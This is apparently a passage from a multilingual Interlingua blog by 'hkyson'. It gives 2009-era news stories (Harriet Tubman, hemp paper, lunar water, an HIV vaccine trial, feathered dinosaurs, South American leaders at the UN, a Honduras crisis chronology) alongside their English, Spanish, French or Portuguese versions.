Auburn, New York. Illa se maritava con un homine con le nomine Nelson Davis.\nBen que iste annos poteva esser tranquille pro Harriet, illa continuava su travalios. Illa viagiava e faceva discursos pro colliger moneta pro meliorar le education de juvene afroamericanos. Illa anque travaliava pro derectos feminin. E illa essayava a trovar manieras pro adjuvar vetule afroamericanos qui habeva essite sclavos.\nHarriet Tubman moriva in 1913. Illa habeva circa 93 annos, e a causa de su travalios anterior, illa habeva devenite un heroe american. Quando illa moriva le governamento federal del Statos Unite preparava pro illa funerales con honores militar pro iste heroe afroamerican qui se trova in le pantheon de personas como Martin Luther King, Malcolm X, e Rosa Parks.\nPosted by hkyson at 6:43 PM\n(Languages of this post: Interlingua, English)\nCata anno in le Statos Unite on utilisa 12 milliones de tonnas de papiro proveniente de pulpa de ligno pro le production de jornales.\nViste que le reservas de ligno deveni omne vice plus scarse, le attention del mundo jornalistic comencia a tornar se verso un specie de cannabe (hibiscus cannabis), un arbusto cognoscite desde le antiquitate que pote attinger in solo tres menses un altura de cinque metros. Secundo le quotidiano francese \"Le Figaro\", le papiro obtenite del fibra de iste planta es \"plus forte, plus lisie, plus durabile, e plus blanc\" que illo fabricate ex le pulpa de ligno. In plus, \"illo non jalnesce\".\nComo avantage additional iste cannabe pote producer usque novem vices plus de pulpa per hectar que le pinos. In despecto de iste advantages, se calcula que, in 1988, le fibra de cannabe solo representava 1% del mercato del papiro pro jornales.\n(Dennis Lane-Martínez, publicate in Panorama, No. 2, martio-april, 1991, e republicate in \"Interlingua in interlingua\")\n---\nPaper from cannabis is better than paper from pine trees!\nEach year the United States uses twelve million tons of paper coming from wood pulp for the production of newspapers.\nSince supplies of wood are becoming more and more scarce, the world of journalism is starting to pay more attention to a species of cannabis (hibiscus cannabis), a bush known since antiquity that can grow five meters tall in only three months. According to the French daily \"Le Figaro,\" the paper obtained from the fiber of this plant is \"stronger, softer, more durable, and whiter\" than paper made from wood pulp. In addition, \"it does not turn yellow.\"\nAn additional advantage is that this variety of cannabis can produce up to nine times more pulp per hectar than pine trees can. Despite these advantages, it has been estuimated that in 1988, cannabis fiber represented only one percent of all the paper sold for newspaper use.\n(Dennis Lane-Martínez, published in Panorama, No. 2, March-april, 1991, and republished in \"Interlingua in interlingua\")\nPosted by hkyson at 5:29 PM\nSi vos cognosce ben le espaniol, le traductor electronic de Google pote adjuvar vos considerabilemente si vos vole apprender le catalan. Illo traduce multo ben le catalan al espaniol.\nLe traductor de Google anque produce traductiones assatis bon de catalan al altere linguas romanic, ma tal traductiones es minus precise que su traductiones al espaniol, probabilemente proque le systema de Google ha potite comparar un major numero de textos bilingue inter catalan e espaniol que in catalan e le altere linguas romanic.\nUn bon maniera de usar le traductiones bilingue de catalan al espaniol es preparar los in un formato bicolumnar, de maniera que vos pote comparar le textos plus facilemente e practicar le traduction del texto de espaniol a catalan. Naturalmente, un grammatica de catalan facilitarea grandemente vostre studios.\nEcce un breve texto in Catalan:\nUn astrònom català descobreix un asteroide perillós: El 13 de setembre passat, l'astrònom Josep Maria Bosch va detectar des del seu observatori a Santa Maria de Montmagastrell, a Tàrrega (Urgell), un asteroide mai vist que, després de les pertinents verificacions internacionals, ha resultat ser l'objecte rocós de mida perillosa (un quilòmetre o més de llarg) que passa més a prop de la Terra des del 1937.\nEl Planet Minor Center (PMC) de la Universitat de Harvard, l'organisme internacional que cataloga cometes i planetoides, l'ha batejat tècnicament com 2009 ST19. «Posar-li un nom definitiu és bonic, però per a això han de transcórrer uns anys», assumeix Bosch.\nL'asteroide va passar aquell dia a 645.000 quilòmetres de la Terra (la Lluna és a 300.000), una distància que sembla immensa però que en termes astronòmics és una minúcia.\nEcce le traduction de iste texto a espaniol per Google:\nUn astrónomo catalán descubre un asteroide peligroso: El 13 de septiembre pasado, el astrónomo Josep Maria Bosch detectó desde su observatorio en Santa Maria de Montmagastrell, en Tàrrega (Urgell), un asteroide nunca visto que, tras las pertinentes verificaciones internacionales , ha resultado ser el objeto rocoso de tamaño peligrosa (un kilómetro o más de largo) que pasa más cerca de la Tierra desde 1937.\nEl Planet Minor Center (PMC) de la Universidad de Harvard, el organismo internacional que cataloga cometas y planetoides, la ha bautizado técnicamente como 2009 ST19. «Poner un nombre definitivo es bonito, pero para ello tienen que transcurrir unos años», asume Bosch.\nEl asteroide pasó aquel día a 645.000 kilómetros de la Tierra (la Luna está en 300.000), una distancia que parece inmensa pero que en términos astronómicos es una minucia.\nPosted by hkyson at 4:56 PM\n(Languages of this post: Interlingua, French, English)\nIl ha quantitates limitate de aqua sur le luna, secundo le conclusiones de alicun scientistas qui analysa datos collegite per tres probas spatial, includente Chandrayyan-1, le prime satellite de India lanceate a in un oribita lunar in 1008. Iste observationes implica que il pote haber multo plus glacie al polos del luna que se credeva previemente.\nLe recercatores, qui travaliava sub le direction del Dr. Carle Pieters del Universitate Brown in le Statos Unite, annunciava lor discoperimento jovedi a un conferentia de pressa organisate per le agentia spatial American (NASA).\nOn deberea saper plus sur isto in alicun septimanas, quando un proba american, LCROSS, collide a in un crater, ejaculante un massa de debris que essera attentemente studiate per instrumentos capabile de determinar plus exactemente lor contento de aqua o vapor.\nQuanto a Marte, altere recercatores de NASA ha observate glacie per le prime vice in le planeta rubie sub su superficie a un distantia in le medietate inter le polo nord e le equator del planeta. Iste discoperimento ha essite realisate gratias a un camera de alte definition del proba american \"Mars Reconaissance Orbitor (MRO)\", in orbita circum Marte.\n---\nIl y a de l'eau sur la Lune, et de la glace sur Mars\nIl existe des quantités limitées d'eau sur la lune ont conclu des scientifiques qui se sont penchés sur les données rassemblées par trois sondes spatiales, dont le Chandrayyan-1, premier satellite indien à avoir été placé sur orbite lunaire en 2008. Ces observations signifient qu'il pourrait y avoir beaucoup plus de glace aux pôles de la Lune qu'on ne le croyait.\nLes chercheurs, qui travaillent sous la direction du Dr Carle Pieters de l'université Brown aux États-Unis, ont annoncé leur découverte jeudi à l'occasion d'une conférence de presse organisée par l'agence spatiale américaine (NASA).\nOn devrait en savoir davantage dans quelques semaines, lorsqu'une sonde américaine, LCROSS, devrait s'écraser dans un cratère, éjectant une masse de débris qui seront minutieusement étudiés par des instruments capables de déterminer plus exactement leur contenu en eau ou vapeur.\nQuant à Mars, d'autres chercheurs de la NASA ont observé pour la première fois sur la planète rouge de la glace sous la surface du sol, à mi distance entre le pôle nord et l'équateur de la planète. Cette découverte a été réalisée grâce à une caméra à haute définition à bord de la sonde américaine « Mars Reconnaissance Orbiter » (MRO) en orbite autour de Mars.\n---\nThere's water on the Moon, and ice on Mars.\nThere are limited quantities of water on the moon., according to conclusions of some scientists analyzing data collected by three space probes, including Chandrayyan-1, the first Indian satellite to be placed in lunar orbit in 2008. These observations imply that there could be much more ice at the poles of the moon than previously thought.\nThe researchers, who worked under the direction of Dr. Carle Pieters of Brown University in the United States, announced their findings Thursday at a press conference organized by the U.S. space agency (NASA).\nWe should know more about this in a few weeks, when a U.S. probe, LCROSS, crashes into a crater, ejecting a mass of debris that will be carefully studied by instruments that can better determine their water or steam content.\nAs for Mars, other NASA scientists have observed ice for the first time on the red planet under its surface, midway between the north pole and the equator of the planet. This discovery was made thanks to a high definition camera on board the Mars Reconnaissance Orbiter (MRO) in orbit around Mars.\nPosted by hkyson at 4:11 PM\n(Languages of this post: Interlingua, French, English)\nUn vaccino experimental contra le virus del immunodeficientia human (VIH), le virus que causa SIDA, reduce per un tertio le risco de infection. Secundo alicun recercatores del armea American e functionarios del ministerio thailandese del sanitate, le combination de duo vaccines que non habeva essite efficace separatemente monstra resultatos incoragiante pro proteger contra le VIH.\nPro le prime vice, un vaccino ha essite demonstrate a esser efficace per un taxa de plus que 30% contra le virus del immunodeficientia human (VIH).\nIste vaccino combine le Alvac HIV del laboratorio francese Sanofis e le Aidsvax, un vaccino disveloppate per VaxGen. Le administration experimental del vaccino monstrava un reduction de 32% del risco de infection per le VIH post un test sur 16.000 homines e feminas seronegative in Thailandia.\nPro le Organisation Mundial del Sanitate (OMS), isto es un avantiamento scientific significante proque \"il es le prime vice que on ha monstrate que un vaccino contra le VIH ha un efficacitate preventive in le population adulte.\nNonobstante, secundo le opinion scientific le plus confiabile, on non sape si le vaccino es durabile e si illo es efficace contra le altere subtypos de VIH, notabilemente illos que se trova in Africa, e si il reducerea le taxa de infection in le altere partes del mundo.\n---\nUne combinaison de deux vaccins réduit considérablement le risque d'infection par le sida.\nUn vaccin expérimental contre le virus de l'immunodéficience humaine (VIH), le virus à l'origine du sida, réduit d'un tiers le risque d'infection. Selon des chercheurs de l'armée américaine et des responsables du ministère thaïlandais de la Santé, la combinaison de deux vaccins qui ne s'étaient pas révélés efficaces séparément montre des résultats encourageants pour se prémunir contre le VIH.\nPour la première fois, un vaccin s'avère efficace à plus de 30% contre le virus de l'immunodéficience humaine (VIH).\nCe vaccin combine l'Alvac HIV du laboratoire français Sanofis et l'Aidsvax, un vaccin mis au point par VaxGen. L'essai expérimental a montré une réduction de 32% du risque d'infection par le VIH au terme d'un test pratiqué sur 16.000 hommes et des femmes séronégatifs en Thailande.\nPour l'Organisation mondiale de la santé (OMS), il s'agit d'une percée scientifique significative puisque « c'est la première fois qu'on montre qu'un vaccin contre le VIH a une efficacité préventive au sein de la population adulte ».\nNéanmoins, selon les avis scientifiques les plus fiables, on ne sait pas si le vaccin est durable et s'il est efficace contre les autres sous-types du VIH, notamment ceux qui se trouvent en Afrique, et s'il permettrait de réduire le taux d'infection dans d'autres parties du monde.\n---\nA combination of two vaccines considerably reduces the risk of AIDS infection.\nAn experimental vaccine against the human immunodeficiency virus (HIV), the virus that causes AIDS, reduced by one third the risk of infection. According to U.S. military researchers and officials of the Thai Ministry of Health, the combination of two vaccines that had not been effective separately, shows encouraging results for protecting against HIV infection.\nFor the first time a vaccine has been shown to be more than 30% effective against the human immunodeficiency virus (HIV).\nThis vaccine combines the ALVAC HIV French laboratory Sanofis and AIDSVAX, a vaccine developed by VaxGen. The testing showed a 32% reduction in the risk of HIV infection after a test carried out on 16,000 men and seronegative women in Thailand.\nFor the World Health Organization (WHO), this is a significant breakthrough because \"it's the first time we show that a vaccine against HIV has been shown to have a preventive effect in the adult population.\"\nHowever, according to the most reliable scientific opinion, it is not known if the vaccine is durable and whether it would reduce the rate of infection in other parts of the world.\nPosted by hkyson at 3:47 PM\n(Languages of this post: Interlingua, Portuguese, English)\nFossiles extrememente ben preservate de dinoauros trovate in le nordest de China monstra le exemplos le plus vetule de plumas jammais trovate e representa le proba final que le dinosauros esseva le ancestres del aves, secundo un equipa de scientistas chinese. Iste fossiles ha un etate de 150 milliones de annos.\nIste species es indubitabilemente plus vetule que le Archaeopteryx, trovate in Germania, que habeva essite considerate como le fossile del ave le plus vetule trovate usque nunc.\nLe discoperimento esseva describite per Xu Xing, del Academia de Scientias Chinese, in Beijing, in le magazin \"Nature\".\nLe theoria que le aves evolueva del dinosauros sempre esseva ponite in dubita a causa del absentia de plumas in species plus vetule que Archaeopteryx.\nMa le nove fossiles, trovate in duo locos differente, es, in lor majoritate, al minus 10 milliones de annos plus vetule que le ave trovate in Germania al fin del seculo 19.\nUn del dinosauros, que on dava le nomine de Anchiornis huxleyi, es extrememente ben conservate. Le dinosauro habeva extensive plumage que coperiva su brachios, cauda, e pedes.\n\"Primo nos credeva que iste prime dinosauro esseva un parente proxime del aves. Ma tunc nos trovava le secunde specimen, que esseva assatis complete e ben preservate\", diceva Xu Xing. \"Tunc, basante nostre pensamento in iste secunde specimen, nos comprendeva que iste esseva un specie multo plus interessante, e illo definitemente esseva un del species le plus importante pro comprender le origine del aves e de lor capacitate de volar.\nLe renominate paleontologo Britannic Michael Benton diceva que le annuncio es de grande importantia. \"In le arbore del vita\", diceva Benton, \"il es assatis obvie que il ha registros de fossiles con plumas anterior al Archaeopteryx. Ille nove discoperimentos fantastic del professor Xu Xing nos da un proba final de iste facto.\"\n---\nFósseis extremamente bem preservados de dinossauros achados no nordeste da China mostram os exemplos mais antigos de penas já encontrados e representam a prova final de que os dinossauros eram ancestrais dos pássaros, de acordo com uma equipe de cientistas chineses. Estes fósseis têm mais de 150 milhões de anos.\nEstas espécies são indubitavelmente mais antigas do que o Archaeopteryx, encontrado na Alemanha, que vinha sendo tido como o fóssil de pássaro mais antigo já encontrado.\nA descoberta foi descrita por Xu Xing, da Academia de Ciências Chinesa, em Pequim, na revista \"Nature\".\nA teoria de que os pássaros evoluíram dos dinossauros sempre foi posta em dúvida por causa da ausência de penas em espécies mais antigas do que o Archaeopteryx.\nMas os novos fósseis, encontrados em duas localidades diferentes, são, em sua maioria, pelo menos 10 milhões de anos mais velhos do que o do pássaro encontrado na Alemanha, no fim do século 19.\nUm dos dinossauros, batizado de Anchiornis huxleyi, está extremamente bem conservado. O dinossauro tinha extensa plumagem cobrindo seus braços e cauda e os pés.\n\"No início, nós acreditamos que este primeiro dinossauro foi um parente próximo dos pássaros. Mas então encontramos o segundo espécime, que estava bastante complete--e bem preservado\", disse Xu Xing. \"Com base neste segundo espécime, nos demos conta de que esta era uma espécie muito mais interessante, e definitivamente era uma das espécies mais importantes para entendermos a origem dos pássaros e de seu voo.\"\nO renomado paleontólogo britânico Michael Benton disse que o anúncio é de grande importância. \"Na árvore da vida\", disse Benton, \"é bastante óbvio que há registros de fósseis com penas anteriores ao Archaeopteryx. Agora essas novas descobertas fantásticas do professor Xu Xing provam isso de uma vez por todas.\"\n---\nExtremely well preserved fossils of dinosaurs found in northeast China show the earliest examples of feathers ever found and furnish the final proof that dinosaurs were ancestors of birds, according to a team of Chinese scientists. These fossils are more than 150 million years old.\nThese species are undoubtedly older than Archeopteryx, found in Germany, which had been regarded as the fossil of the oldest bird ever found.\nThe discovery was described by Xing Xu, of the Chinese Academy of Sciences in Beijing, in the journal \"Nature.\"\nThe theory that birds evolved from dinosaurs has always been in doubt because of the absence of feathers in species older than Archeopteryx.\nBut the new fossils, found in two different locations, are mostly at least ten million years older than the bird found in Germany in the late 19th century.\nOne of the dinosaurs, given the name Anchiornis huxleyi, is extremely well preserved. The dinosaur had extensive plumage covering its arms, tail, and feet.\n\"At first, we believed that this first dinosaur was a close relative of the birds. But then we found the second specimen, which was quite complete--and well preserved,\" said Xu Xing. \"Based on this second specimen, we realized that this was something much more interesting, and it definitely was one of the most important for understanding the origin of birds and their flight.\"\nThe renowned British paleontologist Michael Benton said the announcement is of great importance. \"In the tree of life,\" said Benton, \"it is quite obvious that there are records of fossils with feathers previous to Archeopteryx. Now these fantastic new discoveries made by Professor Xu Xing prove it once and for all.\"\nPosted by hkyson at 3:29 PM\nThursday, September 24, 2009\n(Languages of this post: Interlingua, Spanish, English)\nLe situation del deponite presidente de Honduras, Manuel Zelaya, non esseva le sol thema que esseva importante pro le differente leaders del Cono Sud qui parlava ante le Assemblea General del Nationes Unite (ONU) in New York.\nDucite per le presidente brasilian, Luiz Inacio Lula da Silva, le presidentes de Chile, Uruguay, e Argentina faceva un reclamation emphatic pro le augmentation del influentia in le institutiones multinational del paises povre e in in vias de disveloppamento.\n\"Un nove mundo es un imperativo politic e moral. Solmente un gruppo de agentias international plus democratic e representative essera capace de approchar problemas complexe, como le reorganisation del systema monetari international\", diceva Lula, le prime qui parlava post le discurso inaugural del presidente del Statos Unite, Barack Obama.\nLe governantes sudamerican es inter le primes qui ha exigite que se face reformas in le organisationes financiari intergovernamental que forma parte del systema global, como le Fundo Monetari International (FMI) e le Banca Mundial (BM).\nSecundo Lula, le crise financiari international que comenciava ante un pauco plus que un anno marcava le fallimentos del systema global actual e monstrava que il es absolutemente necesse refundar le ordine economic mundial si on pretende evitar \"nove e plus grande crises\".\nLo que diceva Lula esseva confirmate per le presidente de Chile, Michelle Bachelet, qui diceva que le crise economic actual ha date abundante provas del necessitate de reorganisar le systema economic mundial e demonstra le fallimento del paradigma neoliberal.\nDurante su discurso Bachelet criticava le deregulation del mercatos, le speculation financiari, e le paradisos fiscal e demandava que le relationes international se establi sur le base del derecto e institutiones forte, e non sur le base del fortia militar e abuso economic como occurre in le actualitate.\nLe presidente urugayan, Tabaré Vázquez, anque advocava pro le respecto al derecto international e le rejection del uso de fortia.\n\"Nos nos trova in un momento sin precedentes in le historia quando le humanitate confronta tante possibilitates conjunctemente con tante menacias\", diceva ille, demandante que trans le multilateralismo se globalisa non solmente le economia ma anque \"le pace, le libertate, le democratia, le justitia, le dignitate, e le benesser de omne le gente del mundo\".\nUltra exiger un reforma del institutiones financiari durante su discurso, Lula exigeva cambios in le Consilio de Securitate del Nationes Unite e diceva que su pais debe haber un sede permanente in ille organo executive.\n\"Il jam non es possibile que le Nationes Unite e su Consilio de Securitate sia governate per le mesme parametros que seque del Secunde Guerra Mundial\", diceva ille. Lula anque citava le caso del Union del Nationes Sudamerican (Unasud) como un exemplo de integration regional utile e assecurava que un mundo multipolar non se trovara in opposition al ONU. Al contrario, ille insisteva, illo poterea esser un factor que contribuerea a su revitalisation.\n---\nLa situación del depuesto presidente de Honduras, Manuel Zelaya, no era el único tema que era importante para los diferentes líderes del Cono Sur, que hablaron ante la Asamblea General de las Naciones Unidas (ONU) en Nueva York.\nLiderados por el mandatario brasileño, Luiz Inacio Lula da Silva, los presidentes de Chile, Uruguay y Argentina realizaron un enfático reclamo para que los países pobres y en vías de desarrollo aumenten su influencia en las instituciones multinacionales.\n\"Un nuevo mundo es un imperativo político y moral. Sólo un grupo agencias internacionales más democráticas y representativas serán capaces de abordar problemas complejos, como la reorganización del sistema monetario internacional\", dijo Lula, el primero en hablar tras el discurso inaugural del presidente de los Estados Unidos, Barack Obama.\nLos gobernantes sudamericanos están entre los primeros que han exigido que se realicen reformas en los organismos financieros intergubernamentales que forman parte del sistema global, como el Fondo Monetario Internacional (FMI) y el Banco Mundial (BM).\nSegún Lula, la crisis financiera internacional que comenzó hace poco más de un año marcó las falencias del sistema mundial actual y mostró que es \"imprescindible refundar el orden económico mundial\" si se pretende evitar \"nuevas y mayores crisis\".\nLo que dijo Lula fue confirmado por el presidente de Chile, Michelle Bachelet, quien dijo que la crisis económica actual ha dado abundantes pruebas de la necesidad de reorganizar el sistema económico mundial y muestra el fracaso del paradigma neoliberal.\nDurante su discurso Bachelet criticó la desregulación de los mercados, la especulación financiera y los paraísos fiscales, y pidió que las relaciones internacionales se establezcan sobre la base del derecho y instituciones fuertes, y no a través de la fuerza militar y abuso económico como ocurre en la actualidad.\nEl presidente uruguayo, Tabaré Vázquez, también abogó por el respeto al derecho internacional y el rechazo al uso de la fuerza.\n\"Nos encontramos en un momento sin precedentes en la historia cuando la humanidad se enfrenta a tantas posibilidades, junto con tantas amenazas\", señaló, pidiendo que a través del multilateralismo se globalice no sólo la economía, sino también \"la paz, la libertad, la democracia, la justicia, la dignidad y el bienestar de toda la gente del mundo\".\nAdemás de exigir una reforma de las instituciones financieras durante su discurso, Lula pidió cambios en el Consejo de Seguridad de las Naciones Unidas y dijo que su país debe tener un asiento permanente en ese órgano ejecutivo.\n\"Ya no es posible que las Naciones Unidas y su Consejo de Seguridad estén regidos por los mismos parámetros que se siguen desde la Segunda Guerra Mundial\", dijo. Lula también citó el caso de la Unión de Naciones Suramericanas (Unasur) como un ejemplo de integración regional útil y aseguró que un mundo multipolar no estará en oposición a la ONU. Al contrario, insistió, podría ser un factor que contribuiría a revitalizarla.\n---\nThe situation of the deposed president of Honduras, Manuel Zelaya, was not the only issue that was important for the different leaders of the Southern Cone who spoke before the General Assembly of the United Nations in New York.\nLed by Brazilian President Luiz Inácio Lula da Silva, the presidents of Chile, Uruguay and Argentina made an emphatic claim for poor and developing countries to increase their influence on multinational institutions.\n\"A new world is a political and moral imperative. Only a group of more democratic and representative international agencies will be able to approach complex problems, such as the reorganization of the international monetary system,\" said Lula, the first to speak after the inaugural speech of U.S. President, Barack Obama.\nSouth America's leaders are among the first who have demanded that reforms be made in intergovernmental financial agencies that are part of the global system, such as the International Monetary Fund (IMF) and World Bank (WB).\nAccording to Lula, the international financial crisis that began just over a year ago marked the shortcomings of the current global system and established that it \"it is absolutely necessary to reshape the world economic order\" if we are to avoid \"new and greater crises.\"\nWhat Lula said was confirmed by the president of Chile, Michelle Bachelet, who said the current economic crisis has provided abundant proof of the need for reorganizing the world economic system and shows the failure of the neoliberal paradigm.\nDuring her speech, Bachelet criticized the deregulation of markets, financial speculation, and tax havens, and she asked that international relations be established on the basis of law and strong institutions, not through military strength and economic abuse as is the case today.\nThe Uruguayan president, Tabaré Vázquez, also advocated for respecting international law and rejecting the use of force.\n\"We find ourselves in an unprecedented time in history when mankind faces so many possibilities together with so many threats,\" he said, asking that not only should the economy be globalized through multilateralism but also \"peace, freedom, democracy, justice, dignity and welfare of everyone in the world.\"\nBesides demanding a reform of financial institutions during his speech, Lula also called for changes in the Security Council of the U.N. and said his country should have a permanent seat in that executive body.\n\"It is no longer possible for the United Nations and its Security Council to be governed by the same parameters that follow from the Second World War,\" he said. Lula also cited the case of the Union of South American Nations (UNASUR) as an example of useful regional integration and assured that a multipolar world is not at odds with the U.N. On the contrary, he insisted, it could be a factor that would help revitalize it.\nPosted by hkyson at 9:54 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe crise politic in Honduras comenciava quando Manuel Zelaya esseva expellite del pais, a puncto de pistola, e in su pijamas, al fin de junio. Desde ille momento, le eventos in Honduras ha capturate attention international.\nLe opponentes a Zalaya assecura que, in realitate, le problemas comenciava unes menses antea quando le presidente proponeva reformar le constitution del pais pro refundar lo.\nPro illes Zelaya stava a imitar le modelo que utilisava le presidente de Venezuela, Hugo Chávez, e diverse alliatos sue in le region pro poter reeliger se como le presidente e remaner in le poter.\nLe ultime menses in Honduras ha essite agitate, al minus. Ecce un chronologia del eventos occurrite in le pais desde Martio:\nMartio 24: Le presidente de Honduras, Manuel Zelaya, convoca un referendum popular pro modificar le constitution del pais. Le annuncio causa un crise politic. Le Ministerio Public honduran assecura que le presidente non ha le potestate pro convocar un tal referendum.\nJune 24: Le Congresso honduran approba un lege que regula le referenda e plebiscites e que impedi le realisation de consultationes popular 180 dies ante e post electiones general.\nJunio 28: Soldatos del armea de Honduras arresta le presidente, Manuel Zelaya, e le deporta a Costa Rica.\nLe presidente del Congresso de Honduras, Roberto Micheletti, reimplacia le presidente Manuel Zelaya. Ille nega haber arrivate a ille position \"sub le ignominia de un colpo de stato\".\nLe communitate international condemna Honduras.\nJunio 29: Le paises que forma parte del Alliantia Boliviarian del Americas (ALBA) decide retirar su ambassatores in Tegucigalpa usque le retorno de Zelaya al Presidentia.\nJunio 30: Le Assemblea General del Nationes Unite approba un resolution in le qual illo exige le \"immediate e inconditional\" restitution del deponite presidente de Honduras.\nJulio 1: Le Statos Unite suspende su activitates militar conjuncte con Honduras. Un pauco antea, Espania e Francia revocava lor ambassatores pro consultationes.\nLe Organisation de Statos American (OSA) da un ultimatum al governamento provisori de Honduras pro le restitution del deponite presidente, Manuel Zelaya. Alteremente le pais esserea suspendite del organisation.\nJulio 2: Le paises del Union Europee decide retirar lor ambassatores de Tegucigalpa. Le Commission Europee anque retira su representante diplomatic de Honduras.\nLe Congresso honduran ratifica un decreto presidential in le qual se restringe le libertates individual.\nJulio 3: Le Corte Supreme de Justitia de Honduras rejecta le requesta del secretario general del OSA, José Miguel Insulza, qui viagiava a Tegucigalpa, de maniera que le presidente deponite, Manuel Zelaya, poterea esser retornate al poter.\nJulio 4: Le governamento provisori de Honduras annuncia le intention de retirar se del OSA.\nLe secretario general del OSA, José Miguel Insulza, conclude sin successo su visita a Honduras, que habeva como objectivo le restoration de Zelaya al poter.\nJulio 5: Le OSA suspende Honduras como stato membro del organisation.\nZelaya essaya a retornar a Honduras pro le prime vice.\nJulio 5: Zelaya essaya a atterar in le aeroporto de Toncontín de Tegucigalpa. Le governamento provisori nega le autorisation de atterramento del avion que transportava Zelaya.\nJulio 7: Desde Moscova le presidente del Statos Unite, Barack Obama, reitera que ille appoia le retorno al poter del deponite presidente honduran, Manuel Zelaya.\nZelaya se reune con le secretaria del Statos Unite, Hillary Clinton, in Washington.\nJulio 10: Al requesta del Statos Unite, se initia le mediation del presidente de Costa Rica, Oscar Arias, in le conflicto honduran.\nJulio 15: Zelaya incoragia le honrduranos a rebellar se in un \"insurrection\" que facilitarea su retorno al pais.\nJulio 20: Le Union Europee annuncia le suspension del adjuta budgetari pro Honduras con un valor de plus que US$90 milliones.\nJulio 23: Face fiasco le dialogo de San José con le mediation del presidente de Costa Rica, Oscar Arias. Le governamento provisori dice que le proposition que Zelaya retorna al poter es inacceptabile.\nRepresentantes de Zelaya describe Micheletti como intransigente e dice que illes non participara in negotiationes ulterior.\nZelaya essaya a entrar a in Honduras desde Nicaragua.\nJulio 24: Post un breve ingresso a Honduras per Las Manos, un posto in le frontiera inter Honduras e Nicaragua, Zelaya retorna a Nicaraga.\nLe membros del Mercosud demanda le restoration de Zelaya al presidentia durante un reunion culmine in Paraguay.\nJulio 28: Le Departamento de Stato del Statos Unite revoca quatro visas diplomatic de functionarios del governamento provisiori de Honduras.\nJulio 30: In responsa al proposition del presidente Oscar Arias, Micheletti demanda a Zelaya que invia un representate special a Honduras \"pro cooperar in le initio de un dialogo in nostre pais\".\nAugusto 12: Zelaya se reune in Brasília con le presidente del Brasil, Luiz Inacio Lula da Silva. Illes demanda del Statos Unite action plus \"vigorose\" pro evitar que le governamento provisori de Honduras seque in le poter.\nHonduras reestabli le coperifoco in Tegucigalpa.\nUn reunion informal ha loco in Washington inter le Departamento de Stato e un delegation honduran non official.\nAugusto 19: In Washington il ha un reunion inter le Subsecretario Provisori de Affaires Hemispheric del Statos Unite, Craig Kelly, e un delegation non official del governamento provisori del presidente Roberto Micheletti. Le Departamento de Stato diceva que le reunion esseva \"private e non official\", e illo habeva loco in le officios del OSA.\nAugusto 22: Un reporto del Commission Interamerican de Derectos Human (CIDH) dice que on ha confirmate le existentia in Honduras \"de un patrono de uso disproportionate del fortia public, detentiones arbitrari, e controlo del information dirigite a limitar le participation politic de un sector del citatanos de Honduras.\"\nAugusto 24: In responsa al proposition del presidente de Costa Rica, Oscar Arias, le Corte Supreme de Justitia (CSJ) de Honduras se pronuntia contra le restitution de Manuel Zelaya.\nAugusto 25: Un delegation de septe cancelleros American e le secretario general del OSA, José Miguel Insulza, arriva a Honduras pro continuar negationes pro un resolution del crise in Honduras. Le delegation del OSA quitava Tegucigalpa le die sequente con le manos vacue.\nAugusto 31: In Honduras comencia le Campania pro le electiones general convocate pro le 29 de novembre. Un varietate de protestas public seque in Honduras.\nSeptembre 4: Post le quinte visita de Zelaya a Washington desde su destitution del poter, le Casa Blanc adopta nove sanctiones contra le governamento provisori honduran.\nSeptembre 8: Le Fundo Monetario International bloca US$163 milliones accreditate in le conto de Honduras.\nSeptember 12: Le presidente provisori de Honduras, Roberto Micheletti, denuncia formalmente le suspension per le Statos Unite de su visa.\nSeptembre 21: Zelaya retorna a Tegucigalpa. Ille es un hospite del ambassada del Brasil. Le crise continua.\n---\nCronología de la crisis hondureña\nLa crisis política en Honduras comenzó cuando Manuel Zelaya fue sacado del país, a punta de pistola y en sus pijamas, a fin de junio. Desde ese momento, los eventos en Honduras han acaparado la atención internacional.\nLos opositores a Zelaya aseguran que, en realidad, los problemas empezaron unos meses antes cuando el presidente propuso reformar la constitución del país para refundarlo.\nPara ellos, Zelaya estaba imitando el modelo que utilizó el presidente de Venezuela, Hugo Chávez, y varios de sus aliados en la región para poder reelegirse como mandatario y permanecer en el poder.\nLos últimos meses en Honduras han sido, cuanto menos, agitados. He aquí una cronología de los hechos ocurridos en el país desde marzo:\nMarzo 24: El presidente de Honduras, Manuel Zelaya, convoca a una consulta popular para modificar la Constitución del país. La convocatoria causa una crisis política. El Ministerio Público hondureño asegura que el mandatario no tiene la potestad para convocar tal consulta.\nJunio 24: El Congreso hondureño aprueba una ley que regula los referendos y plebiscitos y que impide la realización de consultas populares 180 días antes y después de las elecciones generales.\nJunio 28: Soldados del ejército de Honduras arrestan al presidente, Manuel Zelaya y lo deportan a Costa Rica.\nEl titular del Congreso de Honduras, Roberto Micheletti, sustuye al presidente Manuel Zelaya. Niega haber llegado a ese cargo \"bajo la ignominia de un golpe de estado\".\nLa comunidad internacional condena a Honduras.\nJunio 29: Los países pertenecientes a la Alianza Bolivariana de las Américas (ALBA) deciden retirar a sus embajadores en Tegucigalpa hasta el regreso de Zelaya a la Presidencia.\nJunio 30: La Asamblea General de las Naciones Unidas aprueba una resolución en la que pide la \"inmediata e incondicional\" restitución del depuesto presidente de Honduras.\nJulio 1: Los Estados Unidos suspende las actividades militares conjuntas con Honduras. Poco antes, España y Francia llamaron a consultas a sus embajadores.\nLa Organización de Estados Americanos da un ultimátum al gobierno interino de Honduras para la restitución del depuesto presidente, Manuel Zelaya. De lo contrario el país sería suspendido del organismo.\nJulio 2: Los países de la Unión Europea deciden retirar a sus embajadores de Tegucigalpa. También la Comisión Europea retira a su representante diplomático de Honduras.\nEl Congreso hondureño ratifica un decreto presidencial en el que se restringen las libertades individuales.\nJulio 3: La Corte Suprema de Justicia de Honduras rechaza el pedido del secretario general de la OEA, José Miguel Insulza, quien viajó a Tegucigalpa, para que se permita el retorno al poder del depuesto presidente, Manuel Zelaya.\nJulio 4: El gobierno interino de Honduras anuncia su intención de retirarse de la OEA.\nEl secretario general de la OEA, José Miguel Insulza, concluye sin éxito su visita a Honduras, que tenía como objetivo la restauración en el poder de Zelaya.\nJulio 5: La OEA suspende a Honduras como estado miembro del organismo.\nZelaya intenta regresar a Honduras por primera vez.\nJulio 5: Zelaya intenta aterrizar en el aeropuerto internacional de Toncontín de Tegucigalpa. El gobierno provisional niega la autorización de aterrizaje del avión que transportaba a Zelaya.\nJulio 7: Desde Moscú, el presidente de los Estados Unidos, Barack Obama, reitera que apoya el regreso al poder del depuesto mandatario hondureño, Manuel Zelaya.\nZelaya se reúne con la 